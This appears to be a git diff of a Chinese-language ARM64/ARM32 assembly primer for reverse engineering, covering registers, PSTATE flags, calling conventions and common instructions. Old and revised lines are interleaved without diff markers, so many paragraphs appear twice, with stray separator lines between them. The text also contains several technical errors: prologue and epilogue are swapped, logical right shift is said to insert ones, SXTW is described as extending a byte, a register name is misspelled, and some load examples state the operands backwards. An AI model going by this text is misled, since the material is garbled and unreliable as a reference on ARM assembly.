5. **`x18`** - **平台寄存器**。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中指向当前线程环境块,或者在Linux内核中指向当前**执行任务结构**。
|
||||
6. **`x19`** 到 **`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
|
||||
7. **`x29`** - **帧指针** 用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
|
||||
* 尽管通常用作**局部变量的引用**,但此寄存器也可以用作**通用寄存器**。
|
||||
8. **`x30`** 或 **`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
|
||||
3. **`x9`**到**`x15`** - 更多临时寄存器,通常用于局部变量。
|
||||
4. **`x16`**和**`x17`** - **函数内调用寄存器**。用于立即值的临时寄存器。它们还用于间接函数调用和PLT(过程链接表)存根。
|
||||
* **`x16`**在**macOS**中用作**`svc`**指令的**系统调用号**。
|
||||
5. **`x18`** - **平台寄存器**。它可以用作通用寄存器,但在某些平台上,此寄存器保留用于特定于平台的用途:在Windows中用作当前线程环境块的指针,或者在Linux内核中用作指向当前**执行任务结构**的指针。
|
||||
6. **`x19`**到**`x28`** - 这些是被调用者保存的寄存器。函数必须保留这些寄存器的值供调用者使用,因此它们存储在堆栈中,并在返回给调用者之前恢复。
|
||||
7. **`x29`** - **帧指针**,用于跟踪堆栈帧。当因为调用函数而创建新的堆栈帧时,**`x29`**寄存器被**存储在堆栈中**,并且新的帧指针地址(**`sp`**地址)被**存储在此寄存器中**。
|
||||
* 尽管通常用作**局部变量的参考**,但此寄存器也可以用作**通用寄存器**。
|
||||
8. **`x30`**或**`lr`**- **链接寄存器**。在执行`BL`(带链接的分支)或`BLR`(带链接到寄存器的分支)指令时,通过将**`pc`**值存储在此寄存器中来保存**返回地址**。
|
||||
* 它也可以像其他寄存器一样使用。
|
||||
* 如果当前函数将调用新函数并因此覆盖`lr`,它将在开始时将其存储在堆栈中,这是尾声(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> 存储`fp`和`lr`,生成空间并获取新的`fp`),并在结束时恢复它,这是序言(`ldp x29, x30, [sp], #48; ret` -> 恢复`fp`和`lr`并返回)。
|
||||
9. **`sp`** - **堆栈指针**,用于跟踪堆栈顶部。
|
||||
* **`sp`**的值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR),用于将**`pc`**地址存储在**`lr`**(链接寄存器)中。
|
||||
* **`sp`**值应始终保持至少**四字对齐**,否则可能会发生对齐异常。
|
||||
10. **`pc`** - **程序计数器**,指向下一条指令。此寄存器只能通过异常生成、异常返回和分支更新。唯一可以读取此寄存器的普通指令是带链接的分支指令(BL、BLR)以将**`pc`**地址存储在**`lr`**(链接寄存器)中。
|
||||
11. **`xzr`** - **零寄存器**。在其**32**位寄存器形式中也称为**`wzr`**。可用于轻松获取零值(常见操作)或使用**`subs`**执行比较,例如**`subs XZR, Xn, #10`**将结果数据存储在任何地方(在**`xzr`**中)。
|
||||
|
||||
**`Wn`**寄存器是**`Xn`**寄存器的**32位**版本。
|
||||
|
||||
### SIMD和浮点寄存器
|
||||
|
||||
此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位上操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
此外,还有另外**32个长度为128位的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以以**64**位、**32**位、**16**位和**8**位运行,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
### 系统寄存器
|
||||
|
||||
**有数百个系统寄存器**,也称为特殊目的寄存器(SPRs),用于**监视**和**控制** **处理器**的行为。\
|
||||
它们只能使用专用的特殊指令 **`mrs`** 和 **`msr`** 进行读取或设置。
|
||||
它们只能使用专用的特殊指令**`mrs`**和**`msr`**来读取或设置。
|
||||
|
||||
特殊寄存器 **`TPIDR_EL0`** 和 **`TPIDDR_EL0`** 在逆向工程中经常被发现。`EL0` 后缀表示可以从中访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
|
||||
它们通常用于存储**线程本地存储**内存区域的**基地址**。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
|
||||
特殊寄存器**`TPIDR_EL0`**和**`TPIDDR_EL0`**在逆向工程中经常出现。`EL0`后缀表示可以访问寄存器的**最小异常**(在这种情况下,EL0是常规程序运行的异常(特权)级别)。\
|
||||
它们通常用于存储内存中**线程本地存储**区域的基址。通常第一个对于在EL0中运行的程序是可读写的,但第二个可以从EL0中读取并从EL1中写入(如内核)。
|
||||
|
||||
* `mrs x0, TPIDR_EL0 ; 将 TPIDR_EL0 读入 x0`
|
||||
* `msr TPIDR_EL0, X0 ; 将 x0 写入 TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** 包含几个进程组件序列化到操作系统可见的 **`SPSR_ELx`** 特殊寄存器中,其中 X 是触发的异常的**权限级别**(这允许在异常结束时恢复进程状态)。\
|
||||
**PSTATE** 包含几个进程组件序列化到操作系统可见的**`SPSR_ELx`**特殊寄存器中,其中 X 是**触发的**异常的**权限** **级别**(这允许在异常结束时恢复进程状态)。\
|
||||
这些是可访问的字段:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -83,122 +84,122 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
|
|||
* **`Z`** 表示操作产生了零
|
||||
* **`C`** 表示操作进行了进位
|
||||
* **`V`** 表示操作产生了有符号溢出:
|
||||
* 两个正数的和产生了负结果。
|
||||
* 两个负数的和产生了正结果。
|
||||
* 在减法中,当从较小的正数中减去较大的负数(或反之亦然),并且结果无法在给定位大小的范围内表示时。
|
||||
* 两个正数相加得到负结果。
|
||||
* 两个负数相加得到正结果。
|
||||
* 在减法中,当从较小的正数中减去较大的负数(或反之亦然),并且结果无法表示在给定位大小的范围内时。
|
||||
* 显然,处理器不知道操作是有符号的还是无符号的,因此它将在操作中检查 C 和 V,并指示是否发生了进位。
|
||||
|
||||
{% hint style="warning" %}
|
||||
并非所有指令都会更新这些标志。一些像 **`CMP`** 或 **`TST`** 这样的指令会更新,而像 **`ADDS`** 这样带有 s 后缀的其他指令也会更新。
|
||||
{% endhint%}
|
||||
并非所有指令都会更新这些标志。一些像**`CMP`**或**`TST`**的指令会更新,而带有 s 后缀的其他指令像**`ADDS`**也会更新。
|
||||
{% endhint %}
|
||||
|
||||
* 当前的**寄存器宽度 (`nRW`) 标志**:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
|
||||
* 当前的**寄存器宽度(`nRW`)**标志:如果标志的值为 0,则程序在恢复后将在 AArch64 执行状态下运行。
|
||||
* 当前的**异常级别**(**`EL`**):在 EL0 中运行的常规程序将具有值 0
|
||||
* **单步执行**标志(**`SS`**):调试器使用此标志进行单步执行,通过异常将 SS 标志设置为 1。程序将运行一步并发出单步执行异常。
|
||||
* **单步执行**标志(**`SS`**):调试器使用单步执行标志设置 **`SPSR_ELx`** 中的 SS 标志为 1。程序将运行一步并发出单步执行异常。
|
||||
* **非法异常**状态标志(**`IL`**):用于标记特权软件执行无效的异常级别转移时,此标志设置为 1,处理器触发非法状态异常。
|
||||
* **`DAIF`** 标志:这些标志允许特权程序有选择地屏蔽某些外部异常。
|
||||
* 如果 **`A`** 为 1,则将触发**异步中止**。**`I`** 配置以响应外部硬件**中断请求**(IRQs)。而 F 与**快速中断请求**(FIRs)有关。
|
||||
* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间进行切换(例如,在 `SP_EL1` 和 `EL0` 之间)。这种切换是通过写入 **`SPSel`** 特殊寄存器来执行的。无法从 EL0 中执行此操作。
|
||||
* **堆栈指针选择**标志(**`SPS`**):在 EL1 及以上运行的特权程序可以在使用自己的堆栈指针寄存器和用户模型之间切换(例如在 `SP_EL1` 和 `EL0` 之间)。这种切换是通过写入**`SPSel`**特殊寄存器来执行的。无法从 EL0 中执行此操作。
|
||||
|
||||
## **调用约定(ARM64v8)**
|
||||
|
||||
ARM64 调用约定指定函数的**前八个参数**通过寄存器 **`x0` 到 `x7`** 传递。**额外**的参数通过**堆栈**传递。**返回**值通过寄存器 **`x0`** 返回,如果其长度为 128 位,则也可以返回到 **`x1`**。必须在函数调用之间保留 **`x19`** 到 **`x30`** 和 **`sp`** 寄存器。
|
||||
ARM64 调用约定指定函数的**前八个参数**通过寄存器**`x0` 到 `x7`**传递。**额外**参数通过**堆栈**传递。**返回**值通过寄存器**`x0`**返回,如果其长度为 128 位,则也可以返回到**`x1`**。必须在函数调用之间保留**`x19`**到**`x30`**和**`sp`**寄存器。
|
||||
|
||||
在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针 (`x29`)**,**设置**新的**帧指针**,和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
在汇编中阅读函数时,查找**函数序言和尾声**。**序言**通常涉及**保存帧指针(`x29`)**,**设置**新的**帧指针**和**分配堆栈空间**。**尾声**通常涉及**恢复保存的帧指针**和**从函数返回**。
|
||||
|
||||
### Swift 中的调用约定
|
||||
|
||||
Swift 有其自己的**调用约定**,可以在 [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) 中找到。
|
||||
Swift 有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
|
||||
|
||||
## **常见指令(ARM64v8)**
|
||||
|
||||
ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opcode`** 是要执行的操作(如 `add`、`sub`、`mov` 等),**`dst`** 是将存储结果的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
|
||||
ARM64 指令通常具有**格式 `opcode dst, src1, src2`**,其中**`opcode`**是要执行的**操作**(如 `add`、`sub`、`mov` 等),**`dst`**是将结果存储的**目标**寄存器,**`src1`** 和 **`src2`** 是**源**寄存器。也可以使用立即值代替源寄存器。
|
||||
|
||||
* **`mov`**:将一个值从一个**寄存器**移动到另一个寄存器。
|
||||
* 示例:`mov x0, x1` — 这将从 `x1` 移动值到 `x0`。
|
||||
* 示例:`mov x0, x1` — 这将从 `x1` 移动的值到 `x0`。
|
||||
* **`ldr`**:将**内存**中的值加载到**寄存器**中。
|
||||
* 示例:`ldr x0, [x1]` — 这将从由 `x1` 指向的内存位置加载值到 `x0`。
|
||||
* 示例:`ldr x0, [x1]` — 这将从 `x1` 指向的内存位置加载的值到 `x0`。
|
||||
* **偏移模式**:指示影响原始指针的偏移量,例如:
|
||||
* `ldr x2, [x1, #8]`,这将在 x2 中加载 x1 + 8 的值
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将在 x2 中加载数组 x0 中位置 x1(索引)\* 4 处的对象
|
||||
* **预索引模式**:这将对原始应用计算,获取结果并将新原始存储在原始中。
|
||||
* `ldr x2, [x1, #8]!`,这将在 `x2` 中加载 `x1 + 8`,并将 `x1 + 8` 的结果存储在 `x1` 中
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中,并更新寄存器 sp
|
||||
* **后索引模式**:与前一个模式类似,但是首先访问内存地址,然后计算并存储偏移量。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0`,并将 `x1` 更新为 `x1 + 8`
|
||||
* `ldr x2, [x1, #8]`,这将在 x1 + 8 中加载 x2 的值
|
||||
* `ldr x2, [x0, x1, lsl #2]`,这将在 x0 数组中的位置 x1(索引)\* 4 中加载 x2 的对象
|
||||
* **预索引模式**:这将对原始进行计算,获取结果并将新原始存储在原始中。
|
||||
* `ldr x2, [x1, #8]!`,这将在 `x1 + 8` 中加载 `x2` 并将 `x1 + 8` 的结果存储在 `x1` 中
|
||||
* `str lr, [sp, #-4]!`,将链接寄存器存储在 sp 中并更新寄存器 sp
|
||||
* **后索引模式**:与前一个类似,但首先访问内存地址,然后计算并存储偏移量。
|
||||
* `ldr x0, [x1], #8`,加载 `x1` 到 `x0` 并将 x1 更新为 `x1 + 8`
|
||||
* **相对于 PC 的寻址**:在这种情况下,相对于 PC 寄存器计算要加载的地址
|
||||
* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址,与当前 PC 相关的 x1 中。
|
||||
* `ldr x1, =_start`,这将加载 `_start` 符号开始的地址到 x1,与当前 PC 相关。
|
||||
* **`str`**:将**寄存器**中的值存储到**内存**中。
|
||||
* 示例:`str x0, [x1]` — 这将将 `x0` 中的值存储到由 `x1` 指向的内存位置。
|
||||
* 示例:`str x0, [x1]` — 这将 `x0` 中的值存储到 `x1` 指向的内存位置。
|
||||
* **`ldp`**:**加载一对寄存器**。此指令从**连续内存**位置加载两个寄存器。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* 示例:`ldp x0, x1, [x2]` — 这将从 `x2` 和 `x2 + 8` 处的内存位置分别加载 `x0` 和 `x1`。
|
||||
* 示例:`ldp x0, x1, [x2]` — 这从 `x2` 和 `x2 + 8` 的内存位置分别加载 `x0` 和 `x1`。
|
||||
* **`stp`**:**存储一对寄存器**。此指令将两个寄存器存储到**连续内存**位置。内存地址通常是通过将偏移量添加到另一个寄存器中形成的。
|
||||
* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 处的内存位置。
|
||||
* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 处的内存位置,并将 `sp` 更新为 `sp+16`。
|
||||
* 示例:`stp x0, x1, [sp]` — 这将 `x0` 和 `x1` 存储到 `sp` 和 `sp + 8` 的内存位置。
|
||||
* `stp x0, x1, [sp, #16]!` — 这将 `x0` 和 `x1` 存储到 `sp+16` 和 `sp + 24` 的内存位置,并将 `sp` 更新为 `sp+16`。
|
||||
* **`add`**:将两个寄存器的值相加并将结果存储在一个寄存器中。
|
||||
* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX\]
|
||||
* 语法:add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Xn1 -> 目的地
|
||||
* Xn2 -> 操作数1
|
||||
* Xn3 | #imm -> 操作数2(寄存器或立即数)
|
||||
* \[shift #N | RRX\] -> 执行移位或调用RRX
|
||||
* \[shift #N | RRX] -> 执行移位或调用RRX
|
||||
* 示例:`add x0, x1, x2` — 这将把`x1`和`x2`的值相加,并将结果存储在`x0`中。
|
||||
* `add x5, x5, #1, lsl #12` — 这等于4096(1左移12位) -> 1 0000 0000 0000 0000
|
||||
* `add x5, x5, #1, lsl #12` — 这等于 4096(1左移12位) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** 这执行一个`add`并更新标志位
|
||||
* **`sub`**:从两个寄存器的值中**减去**一个值,并将结果存储在一个寄存器中。
|
||||
* **`sub`**:从两个寄存器中减去值并将结果存储在一个寄存器中。
|
||||
* 检查**`add`**的**语法**。
|
||||
* 示例:`sub x0, x1, x2` — 这将从`x1`中减去`x2`的值,并将结果存储在`x0`中。
|
||||
* 示例:`sub x0, x1, x2` — 这从`x1`中减去`x2`的值,并将结果存储在`x0`中。
|
||||
* **`subs`** 这类似于sub但会更新标志位
|
||||
* **`mul`**:将**两个寄存器**的值相乘,并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将把`x1`和`x2`的值相乘,并将结果存储在`x0`中。
|
||||
* **`mul`**:将**两个寄存器**的值相乘并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将`x1`和`x2`的值相乘,并将结果存储在`x0`中。
|
||||
* **`div`**:将一个寄存器的值除以另一个寄存器的值,并将结果存储在一个寄存器中。
|
||||
* 示例:`div x0, x1, x2` — 这将把`x1`的值除以`x2`的值,并将结果存储在`x0`中。
|
||||
* 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`的值,并将结果存储在`x0`中。
|
||||
* **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**:
|
||||
* **逻辑左移**:从末尾添加0,将其他位向前移动(乘以n次2)
|
||||
* **逻辑右移**:在开始添加1,将其他位向后移动(在无符号情况下除以n次2)
|
||||
* **算术右移**:类似于**`lsr`**,但如果最高有效位是1,则添加1(在有符号情况下除以n次2)
|
||||
* **右旋转**:类似于**`lsr`**,但从右侧移除的内容会添加到左侧
|
||||
* **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,将进位标志移动到第31位,将移除的位移动到进位标志。
|
||||
* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`,并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定右旋转量。
|
||||
* **`bfm`**:**位字段移动**,这些操作将从一个值中复制位`0...n`并将其放置在位置`m..m+n`。**`#s`**指定最左边的位位置,**`#r`**指定向右旋转的数量。
|
||||
* 位字段移动:`BFM Xd, Xn, #r`
|
||||
* 有符号位字段移动:`SBFM Xd, Xn, #r, #s`
|
||||
* 无符号位字段移动:`UBFM Xd, Xn, #r, #s`
|
||||
* **位字段提取和插入**:从一个寄存器复制位字段,并将其复制到另一个寄存器。
|
||||
* **位字段提取和插入**:从一个寄存器中复制位字段并将其复制到另一个寄存器中。
|
||||
* **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
|
||||
* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位,并将其复制到X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位,并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取四位并将其复制到X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位,并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从X2中扩展4位并从第3位开始将其插入X1,将右侧位清零
|
||||
* **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,并将零扩展的结果放入X1。
|
||||
* **符号扩展至X**:将一个值的符号扩展(或在无符号版本中只添加0)以便对其进行操作:
|
||||
* **`SXTB X1, W2`** 将字节的符号扩展**从W2到X1**(`W2`是`X2`的一半)以填充64位
|
||||
* **`SXTH X1, W2`** 将16位数的符号扩展**从W2到X1**以填充64位
|
||||
* **`SXTW X1, W2`** 将字节的符号扩展**从W2到X1**以填充64位
|
||||
* **`UXTB X1, W2`** 将字节的0(无符号)添加**从W2到X1**以填充64位
|
||||
* **符号扩展至X**:扩展值的符号(或在无符号版本中仅添加0)以便执行操作:
|
||||
* **`SXTB X1, W2`** 从W2扩展一个字节的符号到X1(`W2`是`X2`的一半)以填充64位
|
||||
* **`SXTH X1, W2`** 从W2扩展一个16位数的符号到X1以填充64位
|
||||
* **`SXTW X1, W2`** 从W2扩展一个字节的符号到X1以填充64位
|
||||
* **`UXTB X1, W2`** 添加0(无符号)到从W2到X1的一个字节以填充64位
|
||||
* **`extr`**:从指定的**连接的一对寄存器**中提取位。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**,并从W2的第3位到W1的第3位获取并将其存储在W3中。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并从W2的第3位到W1的第3位获取并将其存储在W3中。
|
||||
* **`cmp`**:比较两个寄存器并设置条件标志。它是`subs`的别名,将目标寄存器设置为零寄存器。用于判断`m == n`。
|
||||
* 它支持与`subs`相同的语法
|
||||
* 示例:`cmp x0, x1` — 这将比较`x0`和`x1`的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名,并支持相同的语法。用于判断`m == -n`。
|
||||
* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并明确设置nzcv位。
|
||||
* 支持与`subs`相同的语法
|
||||
* 示例:`cmp x0, x1` — 这比较`x0`和`x1`的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负数**操作数。在这种情况下,它是`adds`的别名并支持相同的语法。用于判断`m == -n`。
|
||||
* **`ccmp`**:条件比较,仅在先前的比较为真时执行比较,并特别设置nzcv位。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func
|
||||
* 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(不满足`blt`比较)。
|
||||
* 这也可以用作`ccmn`(与`cmp`相同,但是负数,类似于`cmp`与`cmn`)。
|
||||
* **`tst`**:检查比较的值是否都为1(类似于ANDS,不会在任何地方存储结果)。用于检查一个寄存器与一个值,并检查值中指示的寄存器的任何位是否为1。
|
||||
* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何一位为1
|
||||
* **`tst`**:检查比较的值是否都为1(类似于ANDS,不会将结果存储在任何地方)。用于检查一个寄存器与一个值,并检查值中指定的寄存器的任何位是否为1。
|
||||
* 示例:`tst X1, #7` 检查X1的最后3位中是否有任何位为1
|
||||
* **`teq`**:执行异或操作并丢弃结果
|
||||
* **`b`**:无条件跳转
|
||||
* 示例:`b myFunction`
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`bl`**:带链接的**跳转**,用于**调用**子程序。将返回地址存储在`x30`中。
|
||||
* 示例:`bl myFunction` — 这将调用函数`myFunction`并将返回地址存储在`x30`中。
|
||||
* **`bl`**:带链接的跳转,用于**调用**子程序。将返回地址存储在`x30`中。
|
||||
* 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。
|
||||
* 请注意,这不会将链接寄存器填充为返回地址(不适用于需要返回的子程序调用)
|
||||
* **`blr`**:带链接到寄存器的**跳转**,用于**调用**寄存器中指定的**子程序**。将返回地址存储在`x30`中。
|
||||
* 示例:`blr x1` — 这将调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
* **`blr`**:带链接到寄存器的跳转,用于**调用**寄存器中指定的**目标**的**子程序**。将返回地址存储在`x30`中。
|
||||
* 示例:`blr x1` — 这调用地址包含在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
* **`ret`**:从**子程序**返回,通常使用**`x30`**中的地址。
|
||||
* 示例:`ret` — 这将使用`x30`中的返回地址从当前子程序返回。
|
||||
* 示例:`ret` — 这使用`x30`中的返回地址从当前子程序返回。
|
||||
* **`b.<cond>`**:条件跳转
|
||||
* **`b.eq`**:**等于时跳转**,基于先前的`cmp`指令。
|
||||
* **`b.eq`**:**如果相等则跳转**,基于先前的`cmp`指令。
|
||||
* 示例:`b.eq label` — 如果先前的`cmp`指令找到两个相等的值,则跳转到`label`。
|
||||
* **`b.ne`**: **Branch if Not Equal**. 这条指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则跳转到一个标签或地址。
|
||||
* 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0`和`x1`中的值不相等,则跳转到`label`。
|
||||
|
@ -210,7 +211,7 @@ ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opco
|
|||
* 示例:`tbnz x0, #8, label`
|
||||
* **`tbz`**: 测试位并在零时跳转
|
||||
* 示例:`tbz x0, #8, label`
|
||||
* **条件选择操作**:这些是根据条件位不同而行为不同的操作。
|
||||
* **条件选择操作**:这些是根据条件位变化行为的操作。
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,X0 = X1,如果为假,X0 = X2
|
||||
* `csinc Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = Xm + 1
|
||||
* `cinc Xd, Xn, cond` -> 如果为真,Xd = Xn + 1,如果为假,Xd = Xn
|
||||
|
@ -221,12 +222,12 @@ ARM64 指令通常具有 **`opcode dst, src1, src2`** 的格式,其中 **`opco
|
|||
* `cset Xd, Xn, Xm, cond` -> 如果为真,Xd = 1,如果为假,Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> 如果为真,Xd = \<all 1>,如果为假,Xd = 0
|
||||
* **`adrp`**: 计算一个符号的**页地址**并将其存储在一个寄存器中。
|
||||
* 示例:`adrp x0, symbol` — 这将计算`symbol`的页地址并将其存储在`x0`中。
|
||||
* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值,并将其**符号扩展为64位**。
|
||||
* 示例:`ldrsw x0, [x1]` — 这将从`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* 示例:`adrp x0, symbol` — 这计算`symbol`的页地址并将其存储在`x0`中。
|
||||
* **`ldrsw`**: 从内存中**加载**一个带符号的**32位**值并将其**符号扩展为64位**。
|
||||
* 示例:`ldrsw x0, [x1]` — 这从由`x1`指向的内存位置加载一个带符号的32位值,将其符号扩展为64位,并将其存储在`x0`中。
|
||||
* **`stur`**: 将一个寄存器值**存储到内存位置**,使用另一个寄存器的偏移量。
|
||||
* 示例:`stur x0, [x1, #4]` — 这将把`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
|
||||
* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这条指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核系统调用处理代码所在的特定位置。
|
||||
* 示例:`stur x0, [x1, #4]` — 这将`x0`中的值存储到比`x1`当前地址大4个字节的内存地址中。
|
||||
* **`svc`**:进行一个**系统调用**。它代表"Supervisor Call"。当处理器执行这条指令时,它会**从用户模式切换到内核模式**,并跳转到内存中内核的系统调用处理代码所在的特定位置。
|
||||
* 示例:
|
||||
|
||||
```armasm
|
||||
|
@ -244,7 +245,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
|||
{% endcode %}
|
||||
|
||||
2. **设置新的帧指针**:`mov x29, sp`(为当前函数设置新的帧指针)
|
||||
3. **为局部变量在堆栈上分配空间**(如果需要):`sub sp, sp, <size>`(其中 `<size>` 是所需字节数)
|
||||
3. **为局部变量在栈上分配空间**(如果需要):`sub sp, sp, <size>`(其中 `<size>` 是所需字节数)
|
||||
|
||||
### **函数尾声**
|
||||
|
||||
|
@ -265,8 +266,8 @@ Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**之
|
|||
**特权**的 64 位程序可以通过执行例外级别转移到较低特权的 32 位程序来调度 **执行 32 位** 程序。\
|
||||
请注意,从 64 位到 32 位的过渡发生在较低的例外级别(例如,EL1 中的 64 位程序触发 EL0 中的程序)。当 `AArch32` 进程线程准备好执行时,通过将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位设置为 1** 来完成这一过渡,而 `SPSR_ELx` 的其余部分存储了 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器转换到 **`AArch32`** 进入 A32 或 T32,具体取决于 CPSR\*\*。\*\*
|
||||
|
||||
**`interworking`** 是通过 CPSR 的 J 和 T 位实现的。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这是在 **interworking 分支指令** 中设置的,但也可以在 PC 被设置为目标寄存器时使用其他指令直接设置。示例:
|
||||
**`interworking`** 使用 CPSR 的 J 和 T 位。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这是在 **interworking 分支指令** 中设置的,但也可以在将 PC 设置为目标寄存器时使用其他指令直接设置。示例:
|
||||
|
||||
另一个示例:
|
||||
```armasm
|
||||
|
@ -281,16 +282,16 @@ mov r0, #8
|
|||
```
|
||||
### 寄存器
|
||||
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常是保留的:
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常被保留:
|
||||
|
||||
- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前地址+8,在T32中为当前地址+4。
|
||||
- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前 + 8,在T32中为当前 + 4。
|
||||
- **`r11`**:帧指针
|
||||
- **`r12`**:过程内调用寄存器
|
||||
- **`r12`**:函数内调用寄存器
|
||||
- **`r13`**:堆栈指针
|
||||
- **`r14`**:链接寄存器
|
||||
|
||||
此外,寄存器在**`banked registries`**中备份。这些地方存储寄存器的值,允许在异常处理和特权操作中执行**快速上下文切换**,避免每次都需要手动保存和恢复寄存器。\
|
||||
